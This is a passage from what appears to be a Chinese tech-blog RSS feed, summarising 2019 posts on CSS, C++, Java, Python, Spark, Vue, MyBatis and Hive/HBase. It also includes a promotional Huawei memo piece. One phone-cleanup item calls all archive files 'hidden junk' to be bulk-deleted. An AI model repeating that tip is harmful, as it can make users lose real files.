快速绘制静态页面&#xA;2．一键生成所有静态文件（html,css,js,图片等等）到服务端，告别手写代码，用户下载即可使用。也可直接生成到本地，输入本地路径即可，无需下载。&#xA;3．单独保存本地功能，如只需保存css或html等等到本地&#xA;4．快速添加vue相关组件、自动生成vue文件、并一键保存到本地。&#xA;5．接口配置、一键生成代码、一键保存到本地、接口调用一键插入到对应的文件中。&#xA;6．数据库配置、一键生成代码、一键保存到本地。&#xA;官网 www.guiplan.com</description>
    </item>
    <item>
      <title>前端自适应常适配的屏幕大小</title>
      <link>https://bchobby.github.io/posts/133bde4ebea259142757e909102d5484/</link>
      <pubDate>Sun, 25 Aug 2019 15:46:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/133bde4ebea259142757e909102d5484/</guid>
      <description>/** * 媒体查询，参考部分Bootstrap框架 */ /**当前页面大于1200px时，大屏幕，主要是PC端。**/ @media (min-width: 1200px) { } /**在992和1199像素之间的屏幕里，中等屏幕，分辨率低的PC**/ @media (min-width: 992px) and (max-width:1199px) { } /**在768和991像素之间的屏幕里，小屏幕，主要是PAD**/ @media (min-width:768px ) and (max-width:991px) { } /*在480和767像素之间的屏幕里，超小屏幕，主要是手机。 */ @media (min-width: 480px) and (max-width:767px) { /* * 1、浏览器屏幕宽度大于等于480，小于768时，将header等的高度设置为45px； * 2、header中的logo隐藏； * 3、nav的宽度由55%改为100%，行高设置为45px； * */ #header,#header .head_bx,#header .link{ height: 50px; } #header .logo,.xs_hidden{ display: none; } #header .link{ width: 100%; height: 50px; } #header .link li{ line-height: 50px; } } /**在小于480像素的屏幕、微小屏幕、更低分辨率的手机**/ @media (max-width:479px) { /** * 1、浏览器屏幕小于480，将header等的高度设置为45px * */ #header, #header .</description>
    </item>
    <item>
      <title>C&#43;&#43;如何定义一个长度超过一百万的整型数组</title>
      <link>https://bchobby.github.io/posts/1da40df39c5d846774ffa0c29ba477ab/</link>
      <pubDate>Sun, 25 Aug 2019 14:56:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1da40df39c5d846774ffa0c29ba477ab/</guid>
      <description> 今天在解决一道题的时候，在函数内部定义数组突然脑子抽风多打了几个零（一百万），一运行&#xA;——嗯，爆了orz&#xA;于是，我翻开了书，但并没有发现哪里有说数组大小限制。&#xA;后来找到度娘帮忙&#xA;首先明确，数组申明在函数内部，即属于局部变量，是存放在栈上的&#xA;其次，栈的默认内存空间为 1 M左右&#xA;一百万长度的数组占用的内存大小：1000000=1000 *1000 * 4byte ≈ 4M&#xA;int型数据长度为4byte&#xA;所以，会导致内存溢出。&#xA;要想解决这个问题有两种方法：可以将数组申明在全局存储区或堆上&#xA;方法一：申明为全局变量 #include&amp;lt;iostream&amp;gt; using namespace std; int list[1000000]; int main() { ... return 0; } 方法二：存放在堆上 #include&amp;lt;iostream&amp;gt; using namespace std; int main() { int *list; list=new int[1000000]; ... return 0; } 总结一下：&#xA;函数内申请的变量，数组，是在栈（stack）中申请的一段连续的空间。栈的默认大小为2M或1M，开的比较小。全局变量，全局数组，静态数组（static）则是开在全局区（静态区）（static）。大小为2G，所以能够开的很大。而malloc、new出的空间，则是开在堆（heap）的一段不连续的空间。理论上则是硬盘大小。 </description>
    </item>
    <item>
      <title>静态方法和非静态方法区别？</title>
      <link>https://bchobby.github.io/posts/bede42382e72f26c4506120b14208f62/</link>
      <pubDate>Sat, 24 Aug 2019 23:42:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bede42382e72f26c4506120b14208f62/</guid>
      <description>静态方法static（类方法）和 非静态方法（实例方法）的区别：&#xA;方法我们主要分为三种：&#xA;1.构造方法&#xA;2.静态方法（类方法）&#xA;3.非静态方法（普通方法/实例方法/成员方法）&#xA;对于1（补充一下）：构造方法分为无参构造方法 和 有参构造方法。另外&#xA;这两个方法，涉及到了方法重载（小伙伴可以自己去了解方法重载、方法重写、方法重构区别，当然我其他文章也会写相关的介绍）。&#xA;一、静态方法和非静态方法的区别（调用对象、引用变量不同）&#xA;对于2：静态方法，是使用static关键字修饰的方法，又叫类方法。属于类的，不属于对象，在实例化对象之前就可以通过类名.方法名调用静态方法。（静态属性，静态方法都是属于类的，可以直接通过类名调用）。&#xA;A.在静态方法中，可以调用静态方法。&#xA;B.在静态方法中，不能调用非静态方法。&#xA;C.在静态方法中，可以引用类变量（即，static修饰的变量）。&#xA;D.在静态方法中，不能引用成员变量（即，没有static修饰的变量）。&#xA;E.在静态方法中，不能使用super和this关键字&#xA;对于3：非静态方法，是不含有static关键字修饰的普通方法，又称为实例方法，成员方法。属于对象的，不属于类的。（成员属性，成员方法是属于对象的，必须通过new关键字创建对象后，再通过对象调用）。&#xA;A.在普通方法中，可以调用普通方法。&#xA;B.在普通方法中，可以调用静态方法&#xA;C.在普通方法中，可以引用类变量和成员变量&#xA;D.在普通方法中，可以使用super和this关键字&#xA;二、静态方法和非静态方法的区别（调用方法不同）&#xA;静态方法可以直接调用，类名调用和对象调用。（类名.方法名 / 对象名.方法名）&#xA;但是非静态方法只能通过对象调用。（对象名.方法名）&#xA;三、静态方法和非静态方法的区别（生命周期不同）&#xA;静态方法的生命周期跟相应的类一样长，静态方法和静态变量会随着类的定义而被分配和装载入内存中。一直到线程结束，静态方法和静态属性才会被销毁。（也就是静态方法属于类）&#xA;非静态方法的生命周期和类的实例化对象一样长，只有当类实例化了一个对象，非静态方法才会被创建，而当这个对象被销毁时，非静态方法也马上被销毁。（也就是非静态方法属于对象）&#xA;总结：类方法可以直接通过类名调用；实例方法必需先实例化类，再初始化对象，然后通过类的实例对象才能调用&#xA;举例：&#xA;class ABC{&#xA;public static void testStatic(){ System.out.println(&#34;This is static method&#34;); } public void testMethod(){ System.out.println(&#34;This is instance method&#34;); } public static void main(String[] str){ ABC.testStatic(); //直接通过类调用 ABC a = new ABC(); //实例化，然后构造方法会初始化 a.testMethod(); //对象调用方法 } }</description>
    </item>
    <item>
      <title>python环境安装（一）</title>
      <link>https://bchobby.github.io/posts/161dd0fa25532394ca478c50b0b0f9e9/</link>
      <pubDate>Fri, 23 Aug 2019 17:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/161dd0fa25532394ca478c50b0b0f9e9/</guid>
      <description>之前安装过很多次了，但是每次到新电脑上或者版本更新后都又要找在线教程。今天打算把流程写下来，便于以后随便在其他电脑上可以安装。&#xA;步骤一：&#xA;打开python官网，找到下载地址：https://www.python.org/downloads/下载需要的版本。目前一般下载2.7或者3.6.&#xA;这里是下载3.6版本为例https://www.python.org/downloads/release/python-361/&#xA;x86是32位，x86-64是64位。&#xA;web-based ,executable , embeddable zipfile区别：&#xA;1、web-based installer 是需要通过联网完成安装的，就是执行安装后才透过网络下载python（下载很快，比较文件小，但是后面安装的时候通过网络下载会非常考验你的网络。很容易在最后安装过程中失败）&#xA;2、executable installer 是可执行文件(*.exe)方式安装。&#xA;3、embeddable zip file 压缩档，就是python打包成zip压缩包，嵌入式版本，可以集成到其它应用中。&#xA;我这里是下载的Windows x86-64 web-based installer版本的。&#xA;步骤二：&#xA;点击安装。勾选Add Python 3.6 to PATH。将python加入到windows的环境变量中，如果忘记打勾，则需要手工加到环境变量中可以选择自定义安装。自己选择安装的位置和特证&#xA;下一步，将下图几个全部勾选上。不要问为什么，越全越好O(∩_∩)O哈！&#xA;下一步，再次勾选（这里把Python的环境变量已经加了，但是后面要使用pip的时候就需要手动配置一下环境变量），点击安装&#xA;点击下一步后，就开始真正安装了&#xA;步骤三：&#xA;测试&#xA;python安装好之后，我们要检测一下是否安装成功，用系统管理员打开命令行工具cmd，输入“python -V”,然后敲回车，如果出现如下界面，则表示我们安装成功了；查看到版本是3.6.1&#xA;环境变量配置好以后，我们在cmd下面可以直接输入python，就可以切换到python的编译环境了。&#xA;上面是python的安装方法，适合初学者的学习，安装完成后，通常我们还要安装pycharm,PyCharm是一种Python IDE，我们在编写python程序时，通常用该工具进行开发，调试和管理工程等&#xA;注意：&#xA;如果在刚才安装的时候，忘记将加入到环境变量的勾打上，那么就需要手工配置环境变量之后，才能使用python。具体配置方式网上搜下很多的。</description>
    </item>
    <item>
      <title>上传多张图片插件</title>
      <link>https://bchobby.github.io/posts/2308a34bd5224bcb089fcc72aa071d5f/</link>
      <pubDate>Fri, 23 Aug 2019 14:52:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2308a34bd5224bcb089fcc72aa071d5f/</guid>
      <description>上传多张图片插件&#xA;1.HTML&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;meta content=&#34;width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no&#34; name=&#34;viewport&#34;&amp;gt; &amp;lt;meta content=&#34;yes&#34; name=&#34;apple-mobile-web-app-capable&#34;&amp;gt; &amp;lt;meta content=&#34;black&#34; name=&#34;apple-mobile-web-app-status-bar-style&#34;&amp;gt; &amp;lt;meta content=&#34;telephone=no&#34; name=&#34;format-detection&#34;&amp;gt; &amp;lt;meta content=&#34;email=no&#34; name=&#34;format-detection&#34;&amp;gt; &amp;lt;title&amp;gt;上传多张图片&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../js/jquery.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../js/public.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;link href=&#34;../css/bianji.css&#34; rel=&#34;stylesheet&#34;/&amp;gt; &amp;lt;!--上传图片--&amp;gt; &amp;lt;script src=&#34;../js/upload.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;bianji_contBox_cont&#34; style=&#34;height: auto;&#34;&amp;gt; &amp;lt;span&amp;gt;商户图片：&amp;lt;/span&amp;gt; &amp;lt;div class=&#34;bianji_contBox_cont_shtpBox&#34;&amp;gt; &amp;lt;div class=&#34;bianji_contBox_cont_shtpBox_imgBox&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;z_file&#34;&amp;gt; &amp;lt;input class=&#34;z_file_bnt&#34; type=&#34;file&#34; name=&#34;file&#34; id=&#34;file&#34; value=&#34;&#34; accept=&#34;image/*&#34; multiple onchange=&#34;imgChange(&#39;bianji_contBox_cont_shtpBox_imgBox&#39;,&#39;z_file&#39;);&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!--遮罩层--&amp;gt; &amp;lt;div class=&#34;z_mask&#34;&amp;gt; &amp;lt;!--弹出框--&amp;gt; &amp;lt;div class=&#34;z_alert&#34;&amp;gt; &amp;lt;p&amp;gt;确定要删除这张图片吗？&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt; &amp;lt;span class=&#34;z_cancel&#34;&amp;gt;取消&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;</description>
    </item>
    <item>
      <title>vue&#43;element-ui中的el-table-column配合v-if 数据位置错乱问题</title>
      <link>https://bchobby.github.io/posts/337bf7e76d984eb67ca3a7d05a6e879a/</link>
      <pubDate>Fri, 23 Aug 2019 09:35:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/337bf7e76d984eb67ca3a7d05a6e879a/</guid>
      <description>我们在做vue 开发中，经常会使用到 element-ui, el-table是我们使用场景特别高的组件&#xA;有时候我们在不同标签下，使用不同的el-table,会出现数据列错乱的问题。&#xA;&amp;lt;div class=&#34;list-item&#34;&amp;gt; &amp;lt;div class=&#34;tabs&#34;&amp;gt; &amp;lt;div class=&#34;tab-title&#34;&amp;gt; &amp;lt;a class=&#34;tab-item&#34; :class=&#34;{&#39;tab-active&#39;:currentType==0}&#34; @click=&#34;handleClick(0)&#34;&amp;gt;普通用户&amp;lt;/a&amp;gt; &amp;lt;a class=&#34;tab-item&#34; :class=&#34;{&#39;tab-active&#39;:currentType==1}&#34; @click=&#34;handleClick(1)&#34;&amp;gt;会员用户&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div v-if=&#34;currentType===0&#34;&amp;gt; &amp;lt;el-table :data=&#34;tabs[0].dataList.rows&#34; border :tooltip-effect=&#34;toolTipEffect&#34; key=&#34;0&#34;&amp;gt; &amp;lt;el-table-column :width=&#34;indexWidth&#34; align=&#34;center&#34; label=&#34;序号&#34; type=&#34;index&#34; :index=&#34;indexMethod&#34;&amp;gt;&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;名字&#34; show-overflow-tooltip&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;电话&#34; show-overflow-tooltip&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;邮箱&#34; show-overflow-tooltip&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;el-pagination v-if=&#34;tabs[0].dataList.total&#34; @size-change=&#34;onSizeChange&#34; @current-change=&#34;onCurrentChange&#34; :current-page=&#34;currentPage&#34; :page-size=&#34;rows&#34; layout=&#34;total, sizes, prev, pager, next&#34; :total=&#34;tabs[0].dataList.total&#34;&amp;gt; &amp;lt;/el-pagination&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div v-if=&#34;currentType===1&#34;&amp;gt; &amp;lt;el-table :data=&#34;tabs[1].dataList.rows&#34; border :tooltip-effect=&#34;</description>
    </item>
    <item>
      <title>Spark安装步骤及第一次启动failed to launch: nice -n 0错误</title>
      <link>https://bchobby.github.io/posts/55050f41f76dca03859760aeee428b2e/</link>
      <pubDate>Thu, 22 Aug 2019 20:27:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55050f41f76dca03859760aeee428b2e/</guid>
      <description>基本条件:同步时间、免密登录、关闭防火墙、安装JDK1.8&#xA;在安装spark之前&#xA;emmm&#xA;我有三台虚拟机&#xA;hadoop01&#xA;hadoop02&#xA;hadoop03&#xA;然后jdk1.7&#xA;就是因为这个&#xA;我第一启动时failed to launch: nice -n 0错误 哦 对了 网上好多说配置 /root/.bashrc 文件&#xA;在后面加上&#xA;export JAVA_HOME= /usr/local/jdk1.8.0_191 这句话就好了&#xA;我弄了没用&#xA;因为 我的jdk1.7&#xA;启动失败好多错误信息 有提示信息&#xA;你要认真去看下面的错误信息&#xA;它提示我去看日志 我进入到提示目录看的日志&#xA;告诉我&#xA;Unsupported major.minor version 52.0 注意了 看到这个就应该知道这是版本不兼容的问题出现了 因为我前面因为替换jar包的问题遇到过&#xA;所以 含泪舍弃了jdk1.7&#xA;从官网下载了jdk1.8 上传解压&#xA;在这里 还在想以前的jdk1.7的配置怎么办 一些路径 还有配置文件写的jkd1.7怎么弄 一个一个改？&#xA;大佬告诉我！&#xA;将加压后的jdk1.8的名字改为现在存在的jdk1.7的名字就行了&#xA;就是内容变为1.8 但名字还是1.7！！！！&#xA;ok&#xA;安装好重启spark 果然成功！&#xA;步骤 1.上传安装包到hadoop01 2.将文件解压到指定的目录&#xA;tar -zxvf spark-2.2.0-bin-hadoop2.7.tgz -C /usr/local 2.在其conf下配置&#xA;3.1修改conf目录下的env文件 mv spark-env.sh.template spark-env.</description>
    </item>
    <item>
      <title>CDH6.3.0 报错汇总</title>
      <link>https://bchobby.github.io/posts/91259de4a5fe9947ab35a5252065222b/</link>
      <pubDate>Thu, 22 Aug 2019 13:50:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91259de4a5fe9947ab35a5252065222b/</guid>
      <description>文章目录 Cloudera 建议将 /proc/sys/vm/swappiness 设置为最大值 10已启用透明大页面压缩，可能会导致重大性能问题。JDBC driver cannot be found. Unable to find the JDBC database jar on host存在隐患 : 9 DataNodes are required for the erasure coding policies: RS-6-3-1024k.不良 : 该主机与 Cloudera Manager Server 失去联系的时间过长。Redaction rules file doesn&#39;t exist不良 : 群集中有 1,972 个 副本不足的块 块。群集中共有 1,977 个块。百分比 副本不足的块: 99.75%。 临界阈值：40.00%。不良 : 此 DataNode 未连接到其一个或多个 NameNode。not enough live tablet servers to create a table with the requested replication factor 3; 1 tablet servers are aliveimpala-shell -f 脚本失败impala并发执行查询SQL报错NameNode and SecondaryNameNode have different heapsizes不良 : Canary 测试无法为 /tmp/.</description>
    </item>
    <item>
      <title>快速利用mybatis的自动生成代码插件生成代码</title>
      <link>https://bchobby.github.io/posts/7bd19de26713e3d52cb13c52a710368f/</link>
      <pubDate>Thu, 22 Aug 2019 13:07:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bd19de26713e3d52cb13c52a710368f/</guid>
      <description>在上一篇文章中，我们简单的集成了一个springboot+mybatis+mysql的小demo，初步实现了前端后端数据的联通。我们发现我们日常开发过程中一些简单的代码，如实体类，简单的查询语句以及Dao层接口等，如果都靠自己手动编写，既费时又费力。那我们可以考虑利用mybatis的代码自动生成插件来帮助我们完成这些简单的代码编写。下面我们就来实现这个功能吧。。let&#39;s Go。。。&#xA;第一步：新建一个springboot整合mybatis的项目，上篇文章已经讲过，这里就不做详细介绍了，有兴趣可以看我上篇文章：https://blog.csdn.net/fy18120588045/article/details/99474643&#xA;新建好项目并按照标准规范建好文件夹，如图所示：&#xA;com/fly/mapper/generator这个文件夹，我们用来存放待会生成的Dao层接口 src/main/resources/mapper/generator文件夹，我们用来存放映射文件 src/main/resources/generator/generatorConfig.xml就是我们代码生成工具的配置文件&#xA;第二步：利用pom.xml集成代码生成工具插件：&#xA;&amp;lt;!-- mybatis generator 自动生成代码插件 --&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.generator&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-generator-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.2&amp;lt;/version&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;configurationFile&amp;gt;${basedir}/src/main/resources/generator/generatorConfig.xml&amp;lt;/configurationFile&amp;gt; &amp;lt;overwrite&amp;gt;true&amp;lt;/overwrite&amp;gt; &amp;lt;verbose&amp;gt;true&amp;lt;/verbose&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; 新建generatorConfig.xml文件，修改配置文件中的配置参数，下面给出完整的配置文件：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!DOCTYPE generatorConfiguration PUBLIC &#34;-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd&#34;&amp;gt; &amp;lt;generatorConfiguration&amp;gt; &amp;lt;!-- 数据库驱动:选择你的本地硬盘上面的数据库驱动包--&amp;gt; &amp;lt;classPathEntry location=&#34;D:\maven\MyRepository_bak2\MyRepository\mysql\mysql-connector-java\5.1.45\mysql-connector-java-5.1.45.jar&#34;/&amp;gt; &amp;lt;context id=&#34;context&#34; targetRuntime=&#34;MyBatis3&#34;&amp;gt; &amp;lt;commentGenerator&amp;gt; &amp;lt;property name=&#34;suppressDate&#34; value=&#34;true&#34;/&amp;gt; &amp;lt;!-- 是否去除自动生成的注释 true：是 ： false:否 --&amp;gt; &amp;lt;property name=&#34;suppressAllComments&#34; value=&#34;true&#34;/&amp;gt; &amp;lt;/commentGenerator&amp;gt; &amp;lt;!--数据库链接URL，用户名、密码 --&amp;gt; &amp;lt;jdbcConnection driverClass=&#34;com.mysql.jdbc.Driver&#34; connectionURL=&#34;jdbc:mysql://localhost:3306/test&#34; userId=&#34;root&#34; password=&#34;123456&#34;&amp;gt; &amp;lt;/jdbcConnection&amp;gt; &amp;lt;javaTypeResolver&amp;gt; &amp;lt;property name=&#34;forceBigDecimals&#34; value=&#34;</description>
    </item>
    <item>
      <title>搭建一个vue项目</title>
      <link>https://bchobby.github.io/posts/f4d86e7d3460556f9b70956e326b3f09/</link>
      <pubDate>Thu, 22 Aug 2019 11:47:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4d86e7d3460556f9b70956e326b3f09/</guid>
      <description>一、安装node环境&#xA;1、下载地址为：https://nodejs.org/en/&#xA;2、检查是否安装成功：如果输出版本号，说明我们安装node环境成功&#xA;3、为了提高我们的效率，可以使用淘宝的镜像：http://npm.taobao.org/&#xA;输入：npm install -g cnpm –registry=https://registry.npm.taobao.org，即可安装npm镜像，以后再用到npm的地方直接用cnpm来代替就好了。&#xA;检查是否安装成功：&#xA;二、搭建vue项目环境&#xA;1、全局安装vue-cli&#xA;npm install --global vue-cli&#xA;2、进入你的项目目录，创建一个基于 webpack 模板的新项目&#xA;说明：&#xA;Vue build ==&amp;gt; 打包方式，回车即可；&#xA;Install vue-router ==&amp;gt; 是否要安装 vue-router，项目中肯定要使用到 所以Y 回车；&#xA;Use ESLint to lint your code ==&amp;gt; 是否需要 js 语法检测 目前我们不需要 所以 n 回车；&#xA;Set up unit tests ==&amp;gt; 是否安装 单元测试工具 目前我们不需要 所以 n 回车；&#xA;Setup e2e tests with Nightwatch ==&amp;gt; 是否需要 端到端测试工具 目前我们不需要 所以 n 回车；&#xA;3、进入项目：cd vue-demo，安装依赖</description>
    </item>
    <item>
      <title>华为手机备忘录，到底有多好用？花粉看完，纷纷点赞</title>
      <link>https://bchobby.github.io/posts/91e4df8bdb748088f6b0464174fa6dd4/</link>
      <pubDate>Thu, 22 Aug 2019 10:14:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91e4df8bdb748088f6b0464174fa6dd4/</guid>
      <description>还记得第一次接触华为手机，是我爸淘汰给我的华为畅享6，刚到手就迫不及待的把玩起来，不过那商务风的图标还真提不起兴趣……后来我爸给我换了一套花哨的UI主题，我就不无得意成为第二任小主人了！&#xA;一开始当然是玩游戏、听音乐、看漫画啦，不过随着年龄增长，阅历成熟，后来慢慢的开始尝试内置应用，其中用的最多的就是备忘录了，记考号、记生日、记密码都要用到它，怀旧一下，分享一些备忘录中的功能，小巧且强大！&#xA;1 * 手写笔记 平时用不上，一旦需要就尤为关键，自带了一个小画板，简直可以独立出来了，可以在已有文字、图片上方直接涂鸦标注，还能调整具体的各项参数，当年画了上百张的火柴人小漫画，现在想来，都是回忆！&#xA;就在前段时间，华为还搞了一个备忘录涂鸦大赛呢，可见对该功能有多自信啦！&#xA;2 * 待办日程 这个是每天都要用到，年纪越来越大，意味着破事越来越多，忘性也越来越大，这是每个人的必然，当完成了童年理想，童年又成了理想，不只是简单的备忘提醒，而是智能检测，推荐提醒，真的多次救我于水火之中啊。&#xA;3 * 语音速记 应该是我用过最多的功能了，毕竟用手不如用口，人之初性本懒，最长支持5分钟的待办或笔记，平时记个账啊、备个忘啊，非常实用，只需语音录入，就能转换成文本，何况别的软件还要花钱呢~&#xA;不过像我这种职场老油子，在外企工作还是不能满足，公司里哪国人都有，平时就在用语音翻译器这款应用，支持英语、日语、韩语等12种语言的语音实时互译播放，还能贴心的调节语速，&#xA;如果你说不出来，还可以输入文本，这次则是支持25种语言的互译！学生党、境外游都用得上，而你绝对想不到的是，这个应用目前完全免费！&#xA;我最喜欢的是全屏功能，你一定看过类似的场景，直接把翻译结果，横拿着手机给客户看，横持效果如图——&#xA;华为应用市场就能搜到，而且还有同名iOS版哦~用过就知道多良心啦！&#xA;4 * 分享快乐 这个功能其实没必要多讲，只是曾经有很多美好的回忆，都是这么分享出去的，写的第一篇情书、第一首小诗、第一篇影评、第一首歌词……满庭花簇簇，添得许多香。&#xA;华为手机自带备忘录，真的是小巧又强大，希望你也能用到这些小功能~</description>
    </item>
    <item>
      <title>guiplan安装与使用</title>
      <link>https://bchobby.github.io/posts/add46c8fb5435e6b8ea13475fffeae07/</link>
      <pubDate>Wed, 21 Aug 2019 13:19:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/add46c8fb5435e6b8ea13475fffeae07/</guid>
      <description> 安装与使用 下载安装 打开官网http://www.guiplan.com/下载完之后双击即可运行软件 注册登录与项目创建 注册 输入手机号与验证码即可直接注册与登录&#xA;创建项目与页面 点击新建项目点击查看页面出现弹框弹框里面最下方文本框里输入页面名称点击创建即可出现页面列表点击页面名称即可进入页面可视化编辑&#xA;如下图所示组件面板点击可快速插入样式与组件样式面板可手动修改当前样式以及属性 快捷键使用 </description>
    </item>
    <item>
      <title>数组题——数组中出现次数超过一半的数</title>
      <link>https://bchobby.github.io/posts/99fc2ec6324d719525ca0444e055eaf5/</link>
      <pubDate>Tue, 20 Aug 2019 22:32:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99fc2ec6324d719525ca0444e055eaf5/</guid>
      <description>数组中出现次数超过一半的数 题目描述 数组中有一个数字出现的次数超过数组长度的一半，请找出这个数字。例如输入一个长度为9的数组{1,2,3,2,2,2,5,4,2}。由于数字2在数组中出现了5次，超过数组长度的一半，因此输出2。如果不存在则输出0。&#xA;解题思路 先将数组排序，那么在数组中间的那个数一定就是超过数组一半长度的数，再分别左右对比，计算出其出现的次数，如果大于数组长度一半，就将其输出。&#xA;class Solution { public: int MoreThanHalfNum_Solution(vector&amp;lt;int&amp;gt; numbers) { if(!numbers.size()) return 0; auto l=numbers.begin(),r=numbers.end(); sort(l,r); auto m=l+(r-l)/2; int time=0,target=*m; while(*m==target) { m--; time++; } m=l+(r-l)/2+1; while(*m==target) { m++; time++; } if(time&amp;gt;(r-l)/2) return target; return 0; } }; 注意，用sort来进行排序。往前找完往后找的时候，注意要m+1，不然就会多计算一次m。</description>
    </item>
    <item>
      <title>手机卡顿只清理垃圾是不行的，关掉这个开关，比新手机还好用</title>
      <link>https://bchobby.github.io/posts/57a42ec5b13b35924c133afb6b37ec03/</link>
      <pubDate>Tue, 20 Aug 2019 11:15:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57a42ec5b13b35924c133afb6b37ec03/</guid>
      <description>平时你的手机有出现过卡顿变慢的情况吗？相信很多人都会直接清理手机垃圾，但其实这样是不行的。下面就来教大家一招，轻松让手机变得通畅，比新手机还好用。&#xA;一、文件夹清理 1、手机卡顿时，我们一般会选择一些软件来清理垃圾，但是这样清理的只是表层的一部分，还有很多深层的垃圾基本是扫描不出来的，这时候就需要我们手动来清理这些隐藏垃圾。&#xA;2、首先打开手机的【文件管理】，然后点击【压缩包】，这里面的文件都是平时清理垃圾时，没有清除不干净的。&#xA;3、我们先点击右上角的【编辑】，再点击左上角的【全选】，接着在下面找到【删除】，最后将它们全部清理干净，这样手机里的所有隐藏垃圾，就全部清理干净了。&#xA;二、微信清理 1、打开微信，点击【设置】-【通用】-【照片、视频和文件】。进入后可以看到有四个选项都是默认开启的，我们应该将他们全部关闭，这样在查看照片和视频时，就不会自动下载了，可以省下很大的空间和内存。&#xA;2、接下来我们返回上一页，点击进入在最下方的【微信储存空间】，现在可以看到微信已用空间和手机已用空间，点击【管理微信储存空间】。&#xA;3、先清理其他微信账号聊天数据，然后再管理当前微信账号聊数据。这里面都是我们平常聊天时留下来的数据，我们可以选择性删除，这样手机空间就会瞬间增大很多。&#xA;按照上面的方法，手机就不会出现卡顿的情况，这样清理手机内存的方法，大家都学会了吗？赶紧试试吧。</description>
    </item>
    <item>
      <title>hive与hbase整合过程及遇到的错误锦集</title>
      <link>https://bchobby.github.io/posts/e7db6697a8fb3d640b9a6ed6ae6f6ffc/</link>
      <pubDate>Tue, 20 Aug 2019 11:09:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7db6697a8fb3d640b9a6ed6ae6f6ffc/</guid>
      <description>这个整合其实就是第一次你在hive创建与hbase的表相映射的表 这样就就在hive查看到hbase的表的信息&#xA;我们在hive中可以直接查询hbase中的数据&#xA;hbase中添加会删除一条数据，在hive中立刻就能体现！！！&#xA;在hive中插入一条记录，也能立刻在hbase中体现&#xA;就是create表 只不过跟平常创建表不同&#xA;你就直接在hive建表（先建个库吧）&#xA;create external table if not exists hive2hbase( id int, age int, name string ) stored by &#39;org.apache.hadoop.hive.hbase.HBaseStorageHandler&#39; WITH SERDEPROPERTIES ( &#34;hbase.columns.mapping&#34;=&#34;:key,base_info:age,base_info:name&#34; ) TBLPROPERTIES( &#34;hbase.table.name&#34;=&#34;user_info&#34; ); 然后就出现错误了&#xA;现在先看错误&#xA;1.首先清楚 版本依赖错误： 我的hive是1.2.1 hbase也是1.2.1，然后，hive下面的lib目录有个hive-hbase-handler-1.2.1.jar 包，在你第一次在hive上建与hbase表时，会产生&#xA;Cannot find class &#39;org.apache.hadoop.hive.hbase.struct.HBaseStorageHandler&#39; 既要协调使用hive中的jar，也要使用hbase中的jar包。但是hive的hive-hbase-handler-1.2.1.jar中引用的关于hbase的jar包版本过低（0.9x）,所以导致hbase的版本不支持。&#xA;解决方案 修改hive-hbase-handler-1.2.1.jar的hbase相关的jar依赖 修改源码的方式–eclipse 1. 打开一个eclipse 2. 在eclipse中随便创建已给java工程 3. 将我们之前下载好的源码导入到eclipse的src目录下，这个时候一会发现一堆错误提示 file ---&amp;gt; import ---&amp;gt; filesystem---&amp;gt;选择你的源码---&amp;gt;finish 4. 创建一个lib目录，把准备好的jar包都拷贝到lib目录中 5. 选中所有的jar包---鼠标右键---&amp;gt;build path 你就会发现不报错 6. 导出 file---&amp;gt;export---&amp;gt;jar file ---&amp;gt; 7.</description>
    </item>
    <item>
      <title>VM options配置</title>
      <link>https://bchobby.github.io/posts/f130cc65cad80558f96dc682c75ccff0/</link>
      <pubDate>Mon, 19 Aug 2019 22:41:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f130cc65cad80558f96dc682c75ccff0/</guid>
